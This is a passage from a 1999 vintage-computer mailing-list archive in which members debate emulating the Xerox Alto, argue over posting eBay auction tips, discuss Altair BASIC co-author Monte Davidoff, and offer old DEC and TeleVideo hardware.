You would have to duplicate them precisely and make a > single processor act as if it could do things in parallel. As Tony pointed > out, that may even involve accounting for certain individual logic gates. > The gate-level emulation by itself would be doable; the parallel-processing > emulation would be doable; both together would be much less doable. I was all set to write one until you told me it would be too hard, so I dropped the project :) Seems like these obstacles could be over come with some clever state machine programming. > So there you have it, Sam. This is why computer science is such a > fascinating and frustrating subject. Add bad marketing, entropy, and > general greed and selfishness and things become REALLY interesting. :) Stop being a nay-sayer and just do it, Derek! That's what college is for. You could win a Haggle Online Best-of-Show award this year at the VCF with it! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From pete at dunnington.u-net.com Tue Jan 26 00:18:10 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:32 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: "Hans Franke" "Re: OT: Alien Media (was Disasters and Recovery)" (Jan 25, 14:16) References: "Hans Franke" "Re: OT: Alien Media (was Disasters and Recovery)" (Jan 22 19:16) <199901251316.NAA22805@nixpbe.pdb.sni.de> Message-ID: <9901260618.ZM11031@indy.dunnington.u-net.com> On Jan 25, 14:16, Hans Franke wrote: > > Hans lost a "per second" (Hertzlos, I suppose ;-). > > Just a bloody German - Herzlos ! > > > Hans Sorry, I couldn't resist it :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From dastar at ncal.verio.com Tue Jan 26 00:56:45 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:32 2005 Subject: Altair BASIC In-Reply-To: <36AD552F.8A920E46@digiweb.com> Message-ID: On Tue, 26 Jan 1999, Hans B Pufal wrote: > > > BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad > > > to assist you." > > > So, where is Monte these days? I haven't heard of him before. > > > A > > I worked with him many years ago at Gavilan. He did not like BillG and > turned down the the job BillG ofered him. Oh well. At least he still has his soul. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dpeschel at u.washington.edu Tue Jan 26 01:06:56 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:32 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 25, 99 10:45:54 pm Message-ID: <199901260706.XAA12175@saul7.u.washington.edu> > I was all set to write one until you told me it would be too hard, so I > dropped the project :) > > Seems like these obstacles could be over come with some clever state > machine programming. Perhaps. I'm looking forward to whatever Tony has to say. > Stop being a nay-sayer and just do it, Derek! That's what college is for. > You could win a Haggle Online Best-of-Show award this year at the VCF with > it! You already gave me that incentive about three times, and both of those ideas were FAR easier. Well, building a replica of Zuse's Z-3 may not be easier. But my Apple ][ programming ideas are easier, and bringing my Marchant is MUCH easier. So why should I bother doing the difficult stuff, if the reward is the same? :) -- Derek From marvin at rain.org Tue Jan 26 01:13:56 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: <014501be48f6$cacf23c0$11d53d9d@JOEBAR> Message-ID: <36AD6B34.EA3780EF@rain.org> Hi Joe, > Just to let you know... I had already put a bid on at least one of the items > you posted about, and I was planning to snipe another one. I'm not going to > tell you not to post your lists, but I'd be happier if you didn't. Sorry if the posts caused you a problem, as that was not my intent. I am *really* trying to rein myself in from going wild and making one posting a day giving what I think are interesting auctions (and this is in no way directed at you!) as a direct attack on basically Doug for making such a racket about my posts. Doug and I have a very basic disagreement in our philosophies of what this hobby is all about. But that disagreement has absolutely no business being brought up to the listserver on a constant basis. As I have said before publically, I will continue to post items I think might be of interest to the list members. I have gone to quite a few auctions, and I have no problem telling friends of mine what is going on even when I know they might well be bidding against me. While I might end up losing a few items, the benefits of working together far outway any short term loses. BTW, I think any experienced bidder will snipe, and I tell everyone I know that wants to buy on ebay to snipe. I still remember driving up the price on a Sol-20 by checking and bidding every day against someone else who wanted it (and got it!) From doug at blinkenlights.com Tue Jan 26 01:30:40 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <36AD6B34.EA3780EF@rain.org> Message-ID: On Mon, 25 Jan 1999, Marvin wrote: > directed at you!) as a direct attack on basically Doug for making such a > racket about my posts. Doug and I have a very basic disagreement in our > philosophies of what this hobby is all about. But that disagreement has > absolutely no business being brought up to the listserver on a constant > basis. Marvin, this is not about you and me. I'm confrontational (I guess there was a side-effect to the frontal lobotomy after all), so I can understand you framing it that way. And I also understand why more people would benefit from your ads than those who will lose because of them. But please understand that YOU ARE DIRECTLY COSTING PEOPLE ON THIS LIST MONEY. Please stop. If you cannot stop, please let me know why the separate list idea doesn't work for you. -- Doug From dastar at ncal.verio.com Tue Jan 26 01:41:32 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:32 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901260706.XAA12175@saul7.u.washington.edu> Message-ID: On Mon, 25 Jan 1999, Derek Peschel wrote: > You already gave me that incentive about three times, and both of those > ideas were FAR easier. Well, building a replica of Zuse's Z-3 may not be > easier. But my Apple ][ programming ideas are easier, and bringing my > Marchant is MUCH easier. So why should I bother doing the difficult stuff, > if the reward is the same? :) That having been said, I'm now announcing a new rule for qualification to win an award: Section 1024.144K Anyone with the name of Derek Peschel may not win a prize by submitting an easy hack, such as Apple ][ Programming Ideas or anything related to the Marchant. Said person must submit projects that are either creating a microcode simulator for a Xerox D-machine (or other machines of its ilk) or setting up and operating a Cray 1 in the center of the VCF exhibit hall. Anything less will result in banishment from the premises! --- How's that for incentive? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From eric at brouhaha.com Tue Jan 26 01:54:24 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <36AD559B.FE6DF593@epix.net> (message from John Amirault on Tue, 26 Jan 1999 00:41:47 -0500) References: <36AD559B.FE6DF593@epix.net> Message-ID: <19990126075424.13628.qmail@brouhaha.com> Marvin wrote: > While researching prices for some other stuff, I ran across these items. Doug wrote: > Only 130,000 more items to go, Marvin! John wrote: > I think everyone is familiar with EBAY by now and if we want > to use their service we will go there without Marvin's help. I'm reluctant to get into this argument, but I don't think there's anything wrong with Marvin posting the occasional tips about eBay (for on-topic items, of course). Some of us are interested but don't have time to spend hours searching. I'd hate to find out that I'd missed the chance to bid on an iAPX 432, just because I didn't think to search for it. Of course, I don't know whether Marvin would post a message about a 432. From eric at brouhaha.com Tue Jan 26 01:55:57 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:32 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: (message from Sam Ismail on Mon, 25 Jan 1999 22:03:06 -0800 (PST)) References: Message-ID: <19990126075557.13635.qmail@brouhaha.com> > No. The Daybreak uses a proprietary display. It is apparently very > difficult to adapt, say, a VGA monitor to a Daybreak. However, I have no > doubt ARD could do it. Actually I think it would be pretty easy to get a modern multisync monitor working on one, but I haven't tried it. There's nothing particularly magic about the Daybreak monitor. Eric From eric at brouhaha.com Tue Jan 26 01:58:15 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: (message from Doug on Tue, 26 Jan 1999 01:45:00 -0500 (EST)) References: Message-ID: <19990126075815.13645.qmail@brouhaha.com> Doug wrote: > I can set the list up in less than 15 minutes, and nothing would bring me > more pleasure. I don't believe you. I think there probably are at least a few things that WOULD bring you more pleasure. From doug at blinkenlights.com Tue Jan 26 02:01:39 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <19990126075424.13628.qmail@brouhaha.com> Message-ID: On 26 Jan 1999, Eric Smith wrote: > searching. I'd hate to find out that I'd missed the chance to bid on an > iAPX 432, just because I didn't think to search for it. Of course, I don't > know whether Marvin would post a message about a 432. Exactly. It's completely random. You can't tell if Marvin is going to screw you or enlighten you. I really don't spend that much time searching on ebay. I suspect Marvin spends more time than I do. My secret? Bookmarks. For those of you who are looking for something specific, do a search for that stuff, and bookmark the results. Click on your bookmark once a day or so, and if anything that was listed matches your criteria, you will most likely find it. Isn't that a helluva lot more direct and less noisy and random than Marvin's whimsical service? -- Doug From Hans.Franke at mch20.sbs.de Tue Jan 26 05:15:24 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:32 2005 Subject: thousend K (was: Reiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: References: <199901251208.MAA21374@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 25, 99 01:08:47 pm Message-ID: <199901261016.KAA19026@nixpbe.pdb.sni.de> > > > The only way to get the commonly-used names is to take 1Mbytes as > > > 1024*1000 bytes. There is no justification for this at all. > > > > Justification ? I don't know, but there's an explanation - we > [...] > But you can't justify it's 10^3 * 2^10 IMHO. As I said. > > need some techno archeology - in the AT manual, the 1.2M drive > > is nominated as having 1,200 Kbytes of storage - and AFAICT > > after digging thru old magazines, IBM didn't advertise it > > as 1.2M, only as 5.25" HD. Also, IBM did advertise the 1.44M > > drive only as 1440 K 3.5" HD drive - I found also several old > > disks that state 1440 K formated capacity on the box and label. > I have an IBM Technical Directory here (a list of all the PC manuals). It > lists a technical reference manual for '3.5-Inch 720KB/1.44MB Drive'. So > either IBM were just using common names for the device (which is most > unlike IBM), or that's what they called it. If you want, I can scan th aprobiate pages I found. > I've also got plenty of disks that claim to be 1.44Mbytes. 'classic' disks ? or actual ones - in fact, I looked thru my disks, and I found that the 1.44 term must have established around 90/92 - I found no disk stating 1440 K that was labled later than 1992. Servus Hans -- Ich denke, also bin ich, also gut HRK From netcafe at pirie.mtx.net.au Tue Jan 26 04:34:56 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:32 2005 Subject: Late-model VAX available Message-ID: <01be4917$846157c0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Bruce Lane To: Discussion re-collecting of classic computers Date: Tuesday, 26 January 1999 16:58 Subject: FW: Late-model VAX available >>Does anybody have a need for a Vax 8530/ 52mb memory and console , 2- >>HSC's, 2 - TA81's, 8 - 456mb Hard Drives. Several VT320 terminals and La75 >>printers. MicroVax II, Star Coupler, Power Conditioner. Lot of ram for an 8530. Mine only has 20mb. They use a Pro350 or 380 as a console. Oh, 8530's are ECL. ie they get HOT. 456mb drives would be RA81's. Sigh. Things like this always seem to be too far away for me.... Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From doug at blinkenlights.com Tue Jan 26 05:14:18 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: Classic Computer Auctions List In-Reply-To: Message-ID: In private email, Marvin appeared to like the idea of an auction mailing list, so I've created one. You can subscribe by sending a message to: majordomo@nut.net with the body: subscribe ccauction I, for one, will not be on this new list, but I'll respond to admin requests. To clarify, this list is just for the discussion of *online auctions* related to classic computers. Hopefully, my reasoning for creating this list is obvious by now -- I find random advertising of auctions unfair to those who invest time in searching out bargain needles in a 1.3M-needle haystack. Obviously, other sales vehicles don't have this inherent problem. Even "real" auctions require a big enough investment of each bidder's time that the playing field is pretty level. So, feel free to continue sharing your non-online-auction finds with me^H^H^H us here :-) On a related note, I want to make it clear that I do find the price trend disturbing. Call me Chicken Little, but I fear The End is Near! It appears to be increasingly difficult to find "interesting" vintage machines from the usual inexpensive sources. I only saw a few S100 machines at ham fests last year, and I suspect that number will decrease by half this year. Would there be any interest in an anonymous database that tracks prices collectors paid over time, and the sources where they found the machines? If so, I can setup a website in about a day. -- Doug From dogas at leading.net Tue Jan 26 06:49:00 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:32 2005 Subject: Ebay: Stuff Message-ID: <01be492a$3f113920$f2c962cf@devlaptop> From: Marvin >Someone asked a while ago about the IMSAI manuals. The current bid is >$103.50! >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=59629904 I missed that someone asking about the imsai manuals. I have many of them if someone need some copying done... - Mike: dogas@leading.net From brett at xnet.com Tue Jan 26 07:18:43 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:32 2005 Subject: (fwd) PDP 11/70 Any value (fwd) Message-ID: Ok you Brits - here's your chance to get a DEC PDP-11 8-) ---------- Forwarded message ---------- From: David Low Newsgroups: alt.sys.pdp11 Subject: PDP 11/70 Any value Date: Tue, 26 Jan 1999 13:00:45 +0000 I am finally having a clear out of my garage, amongst the stuff I have there is A Digital pdp11/70, including processor, 64 ports (emulex controllers) Kennedy tape deck, Processor has 4mb memory (Systime), there is a unibus expansion box which contains a disk controller, and the 2 x 32 port emulex controllers. I dont have the disk drives (which were 2 x Fuji super eagles). I have the software tapes, manuals etc. The sysgen listing and patches for Rsts/e 9.3. Is this worth out, or should I finally consign to the skip. (btw all the above is in a systime double width cabinet. regards,, David Low tel;cell:0410-804949 tel;fax:0181-527-4637 tel;work:0181-527-5544 x 4786 org:London Borough of Waltham Forest email;internet:ghb04@dial.pipex.com title:Business Development Manager adr;quoted-printable:;;Room 34=0D=0ATown Hall, Forest Road;London;;E17 4JA; ------------ End Forward -------------- I also fail to see where this post is any different than talking about Ebay 'notices'....... BC From rigdonj at intellistar.net Tue Jan 26 09:35:08 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:32 2005 Subject: Televideo 802 computer? Message-ID: <3.0.1.16.19990126093508.46bfd362@intellistar.net> Does anyone have one of these? I found a manual for one of these yesterday and it looks pretty cool. Joe From rigdonj at intellistar.net Tue Jan 26 09:49:38 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:32 2005 Subject: Altair BASIC In-Reply-To: References: <36AD552F.8A920E46@digiweb.com> Message-ID: <3.0.1.16.19990126094938.46bf5a1e@intellistar.net> At 12:48 AM 1/26/99 -0500, Doug-I-hate-Ebay-snitches wrote: > >Monte for Fearless Leader! I figure I only lost a few million not working >for BillG, but Monte has balls of steel compared to me! We could probably >make up a few $100K to him by making him poster boy for the Anti-Bill >crowd. Was he charismatic at all? Not that it matters for all of the >T-shirts I could sell.... That's great Doug. You could list them on E-bay and Marvin could post the URL :-) Joe From rigdonj at intellistar.net Tue Jan 26 10:02:36 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:32 2005 Subject: OT: SoCal TRW Swapmeet In-Reply-To: Message-ID: <3.0.1.16.19990126100236.5f5f03e8@intellistar.net> At 10:12 PM 1/25/99 -0800, you wrote: > > Another month whizzes by! > > But, what fun! The TRW Ham Radio Swapmeet is this Saturday, 30th >January, at the TRW Facility in El Segundo, CA.. from 07:30 until >11:30 hours PST. No, no, no! You can't post that here! I want it all to myself!! Go away! It's mine! It's mine! It's all mine, ya hear! !D From erd at infinet.com Tue Jan 26 08:05:05 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:32 2005 Subject: Altair BASIC In-Reply-To: <36AD552F.8A920E46@digiweb.com> from "Hans B Pufal" at Jan 26, 99 06:39:59 am Message-ID: <199901261405.JAA25369@user2.infinet.com> > > Max Eskin wrote: > > > > BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad > > > to assist you." > > > So, where is Monte these days? I haven't heard of him before. > > > A > > I worked with him many years ago at Gavilan. He did not like BillG and > turned down the the job BillG ofered him. An Altavista on Monte's name turned up 17 hits. One of them is a Bill Gates "biography" that reads like an M$ PR sheet. Monte is given credit for writing math routines for Bill's first BASIC, circa 1975. The article is at http://ei.cs.vt.edu/~history/Gates.html -ethan From doug at blinkenlights.com Tue Jan 26 08:17:19 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:32 2005 Subject: OT: SoCal TRW Swapmeet In-Reply-To: <3.0.1.16.19990126100236.5f5f03e8@intellistar.net> Message-ID: On Tue, 26 Jan 1999, Joe wrote: > No, no, no! You can't post that here! I want it all to myself!! Go > away! It's mine! It's mine! It's all mine, ya hear! Heh. Come on down, Joe. I'll be there :-) -- Doug From Hans.Franke at mch20.sbs.de Tue Jan 26 09:18:50 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:32 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: References: <199901252357.PAA01307@saul4.u.washington.edu> Message-ID: <199901261419.OAA23984@nixpbe.pdb.sni.de> > > But you're right. The emulator wouldn't just have to emulate a specific > > CPU, it would have to emulate the microcode. At the least, you would have > > to have 2-3 special-case emulators for 2-3 different instruction sets. > > (Perhaps they would magically recognize the current microcode image and use > > the appropriate instruction set.) And there's the disk hardware and the > > video hardware to deal with as well. > Why not just write a microcode emulator? Worth a try, a bloody lot of work - but maybe still simpler than on instruction level - and you don't have to emulate all possible instruction sets. Most work will be gathering the information - especialyx timing information for the paralell working units, whitch will be, of course, simulated serial. Gruss H -- Ich denke, also bin ich, also gut HRK From cfandt at netsync.net Tue Jan 26 08:32:26 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:32 2005 Subject: Fwd: FS/FT Firmware PROM listing - H-19 Message-ID: <4.1.19990126092846.00b06870@206.231.8.2> Heath normally provided all ROM code held under their copyright to their customers, even the Z100 computer BIOS. Contact this fellow directly, not me. >X-Sender: morris@mail.cogent.net >X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 >Date: Tue, 26 Jan 1999 02:41:07 -0800 >Reply-To: Mike Morris >Sender: Heathkit Owners and Collectors List >From: Mike Morris >Subject: FS/FT Firmware PROM listing - H-19 >To: HEATH@LISTSERV.TEMPE.GOV > >Recently while doing an inventory of a silent key's files I discovered what >is apparently a original assembly code listing of the Heath H19 terminal >firmware, dated 30-May-1980, complete with cross-reference at the end. >Apparently Heath sold them. > >It appears to be offset printed from an original daisy-wheel printout. On >the front is says "H-19-1 595-2465" > >It was bound with blue vinyl with melted plastic pegs which have fallen >apart - but it is complete - I checked and every page is there. > >Make offer - including trades. > >Mike Morris WA6ILQ >mike@morris.com > >--- --- --- --- --- --- --- --- --- --- --- --- --- -- >To subscribe: listserv@listserv.tempe.gov >and in body: subscribe HEATH yourfirstname yourlastname >To unsubscribe: listserv@listserv.tempe.gov >and in body: signoff HEATH >Archives for HEATH: http://www.tempe.gov/archives >--- --- --- --- --- --- --- --- --- --- --- --- --- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From ckaiser at oa.ptloma.edu Tue Jan 26 08:53:25 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:32 2005 Subject: Olivetti M20 information In-Reply-To: from "Doug" at Jan 26, 99 01:08:40 am Message-ID: <199901261453.GAA12516@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 731 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/70208e9d/attachment.ksh From rigdonj at intellistar.net Tue Jan 26 11:14:05 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:32 2005 Subject: OT: SoCal TRW Swapmeet In-Reply-To: References: <3.0.1.16.19990126100236.5f5f03e8@intellistar.net> Message-ID: <3.0.1.16.19990126111405.5f5f6b06@intellistar.net> Doug, ROFL! Unfortunately it's a bit too far for me to go but I wish I could! That's one reason why I have to rely on E-OverPay. :-/ Joe At 09:17 AM 1/26/99 -0500, you wrote: >On Tue, 26 Jan 1999, Joe wrote: > >> No, no, no! You can't post that here! I want it all to myself!! Go >> away! It's mine! It's mine! It's all mine, ya hear! > >Heh. Come on down, Joe. I'll be there :-) > >-- Doug > > From edick at idcomm.com Tue Jan 26 09:14:52 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:32 2005 Subject: Televideo 802 computer? Message-ID: <19990126153842881.AAA260@fuj034cpc2f> It seems to me that the 802 was a televideo terminal with an integrated workstation. These worked in conjunction with a server unit to run an OS called MOST, I believe, and I have a couple of the server units, the number of which will occur to me when I look at one again. These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The servers had four or five serial ports using Z80 SIO's and either 10 or 20 MB winchesters to go with their 5-1/4" floppies. They used the WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, Harvard architecture) and the WD1000 5-chip set. I always admired the packaging technology, which was first rate. I have to believe the workstations were up to the same standard in convenient packaging. Televideo was late getting into the desktop workstation market, but did it in a big way with these numbers, as they had all you could want. The OS was purported, by some users I knew, to be quite a bit superior to MPM, which was quite established at that time (late '70's, early '80's). If anyone is interested in the server units, I can make them available, less drives, and possibly a couple of SIO/2's which I scavenged years ago, for the packaging/shipping cost. Dick ---------- > From: Joe > To: Discussion re-collecting of classic computers > Subject: Televideo 802 computer? > Date: Tuesday, January 26, 1999 2:35 AM > > Does anyone have one of these? I found a manual for one of these yesterday > and it looks pretty cool. > > Joe From jfoust at threedee.com Tue Jan 26 09:28:47 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:33 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: References: <36AD61FC.AC081D97@rain.org> Message-ID: <3.0.5.32.19990126092847.00c5e100@pc> Again, for the record, I think Marvin's posts are at least interesting and useful and certainly as interesting as any other report of a sale or give-away or auction. I appreciate his routine filtering of the search engine on eBay. Doung continues to rant: >But please understand that YOU ARE DIRECTLY COSTING PEOPLE ON >THIS LIST MONEY. Let's get real: there's *millions* of people on eBay, and a few hundred here on this list. Who's more likely to jack the price - a cheapskate from this list, or one of the money-addled millions on eBay? Doug said: >Click on your bookmark once a day or so, [...] >Isn't that a helluva lot more direct and less noisy and random than >Marvin's whimsical service? No. You're missing the big opportunity: write a little Java program that performs daily searches of eBay and other auction and for-sale sites for highly prized classic computers, build a search engine with user-specified queries executed at intervals ala www.reference.com - agents, man, agents are the next wave! Banner ads! Sell the demographics! Cross-link and cross-promote! License the engine! IPO! - John From jfoust at threedee.com Tue Jan 26 09:14:07 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:33 2005 Subject: Altair BASIC In-Reply-To: <002301be48dd$db7b0f40$a1f438cb@a.davie> References: <19990126020023.11746.qmail@brouhaha.com> Message-ID: <3.0.5.32.19990126091407.00eb9180@pc> At 02:42 PM 1/26/99 +1100, Andrew Davie wrote: >An interesting quote from my ALTAIR BASIC manual... >"The Software Department is at Ext. 3; and the joint authors of the ALTAIR >BASIC Interpreter, Bill Gates, Paul Allen and Monte Davidoff, will be glad >to assist you." >So, where is Monte these days? I haven't heard of him before. He's mentioned in the "An Open Letter to Hobbyists", dated 2/3/76: | Almost a year ago, Paul Allen and myself, expecting the hobby market to | expand, hired Monte Davidoff and developed Altair BASIC. Though the | initial work took only two months, the three of us have spent most of | the last year documenting, improving and adding features to BASIC. I also found references to him as an co-author of "format_pl1", a PL/I formatting program, and also worked on PL/I itself and Multics' "transaction processing" features. He was apparently a fellow Harvard student with Gates and Allen. Monte N. Davidoff is one of the "Multicians," a programmer responsible for some part of the MULTICS operating system. He may be reachable at . Other info is at . I saw another reference that said he's mentioned briefly in the book "Programmers at work" by Microsoft Press, in Gates' explanation along side a reproduction of the first page of the source list of Altair BASIC, with the quote "Paul Allen and I wrote this, Monte Davidoff wrote all math stuff." An excerpt is below. He's also mentioned on page 77 and 78 of "Hard Drive", said another reference. All this was gathered by a few minutes searching with www.dejanews.com and www.hotbot.com, with the string "Monte Davidoff". I know, it's far easier to enter a message that says "I wonder what happened to him," and wait for the oracles to whisper the answer. :-) - John From Hans.Franke at mch20.sbs.de Tue Jan 26 10:31:22 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Emulation of an Alto(was: Alto II (was Re: PDP-8 prices)) In-Reply-To: References: <199901260452.UAA20044@saul7.u.washington.edu> Message-ID: <199901261532.PAA25577@nixpbe.pdb.sni.de> > > The main reason is that as far as emulation goes, microcode is a totally > > different animal than machine code. Things happen in parallel; although the > > parts of the CPU are doing simple things (like simple arithmetic) they are > > working together. You would have to duplicate them precisely and make a > > single processor act as if it could do things in parallel. As Tony pointed > > out, that may even involve accounting for certain individual logic gates. > > The gate-level emulation by itself would be doable; the parallel-processing > > emulation would be doable; both together would be much less doable. > I was all set to write one until you told me it would be too hard, so I > dropped the project :) > Seems like these obstacles could be over come with some clever state > machine programming. As far as I can tell from my (very small) knowledge of the Alto in special and my (a bit wider) knowledge of microprogramm controls I think that an Alto emulation will be a _lot_ easyer than a C64 for example. I don't think there are combinations that are based on specific _minimum_ timings that can't be reached by modern processors (please, Tony - or who ever - correct me here). Even with older processors it should be possible, if, at least, the average execution timing is the same. Don't forget, since it is only an emulation, the actual hardware is again async to our emulation, and mybe even driven by independant processors. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 26 10:31:22 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Replica and Emulators(was: Alto II (was Re: PDP-8 prices)) In-Reply-To: <199901260706.XAA12175@saul7.u.washington.edu> References: from "Sam Ismail" at Jan 25, 99 10:45:54 pm Message-ID: <199901261532.PAA25574@nixpbe.pdb.sni.de> > > Stop being a nay-sayer and just do it, Derek! That's what college is for. > > You could win a Haggle Online Best-of-Show award this year at the VCF with > > it! > You already gave me that incentive about three times, and both of those > ideas were FAR easier. Well, building a replica of Zuse's Z-3 may not be > easier. But my Apple ][ programming ideas are easier, and bringing my > Marchant is MUCH easier. So why should I bother doing the difficult stuff, > if the reward is the same? :) A Z3 replik ? Only functional (al relays, but modern part) or an exact copy ? As for the functional replica it's just some work and an awfull lot of money for the parts (my guess, some 8000 USD), but easyer than most _exact_ emulations of complex machines, since the Z3 is _well_ documented and describen - and thanks to Raul Rojas and his students, these documents are easy to get now - and modern parts are a _bit_ more reliable. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Tue Jan 26 10:53:08 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:33 2005 Subject: Additional information (was: Ebay: Altairs) In-Reply-To: <36AD47E3.8F6FE4B1@rain.org> Message-ID: <199901261554.PAA26000@nixpbe.pdb.sni.de> Date sent: Mon, 25 Jan 1999 20:43:15 -0800 Send reply to: classiccmp@u.washington.edu From: Marvin To: "Discussion re-collecting of classic computers" Subject: Ebay: Altairs > It looks like those of you who thought the ebay Altairs were overpriced > might have been right (or the demand has subsided while funds recuperate > after the Chrismas season.) Two other Altairs are on ebay with neither > breaking the 2K mark ... yet. > [...] > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60303160 For this offer I may add that I had a bad experiance with the seller (Jerry Rakar; jrakar@en.com). He played a kind of a you're not in, you're in game _after_ the auction and tried to change the rules. And everything in a _very_ rude stlye. Later on I also found that he listed several items more than onece at the same time, without having them twice. Just a personal experience. Gruss H. -- Ich denke, also bin ich, also gut HRK From msg at waste.org Tue Jan 26 10:06:04 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:33 2005 Subject: [Fwd: Altos boxes] Message-ID: <36ADE7EC.3D97E032@waste.org> Forwarded to list in case recipient address incorrect: -------------- next part -------------- An embedded message was scrubbed... From: Michael Grigoni Subject: Altos boxes Date: Mon, 25 Jan 1999 11:31:33 -0600 Size: 1120 Url: http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/dad8d204/attachment.mht From rigdonj at intellistar.net Tue Jan 26 12:15:46 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:33 2005 Subject: Televideo 802 computer? In-Reply-To: <19990126153842881.AAA260@fuj034cpc2f> Message-ID: <3.0.1.16.19990126121546.341fea7e@intellistar.net> You may be right, I looked through a stack of Televideo manuals I know one of them was for an 802. Most of the manuals were for terminals but one was for a computer. The computer looks about 12" tall and 18" wide and has a CRT on the left side of the screen and disk drive or two mounted vertically on the right side and it runs CPM. It did have a Z-80 CPU. Does a model 850 sound right? I asked about the computer but no one knew where it was. That's not unusual for them. Yesterday I finally found a keyboard for a computer that I bought there over a year ago. I know know someone that has a heap of old 970 terminals. Is there anything in them worth saving? They've been out in the wheather so there's no guarantees on the condition of the parts. Joe At 08:14 AM 1/26/99 -0700, you wrote: >It seems to me that the 802 was a televideo terminal with an integrated >workstation. These worked in conjunction with a server unit to run an OS >called MOST, I believe, and I have a couple of the server units, the number >of which will occur to me when I look at one again. > >These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The >servers had four or five serial ports using Z80 SIO's and either 10 or 20 >MB winchesters to go with their 5-1/4" floppies. They used the >WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, >Harvard architecture) and the WD1000 5-chip set. I always admired the >packaging technology, which was first rate. > >I have to believe the workstations were up to the same standard in >convenient packaging. Televideo was late getting into the desktop >workstation market, but did it in a big way with these numbers, as they had >all you could want. The OS was purported, by some users I knew, to be >quite a bit superior to MPM, which was quite established at that time (late >'70's, early '80's). > >If anyone is interested in the server units, I can make them available, >less drives, and possibly a couple of 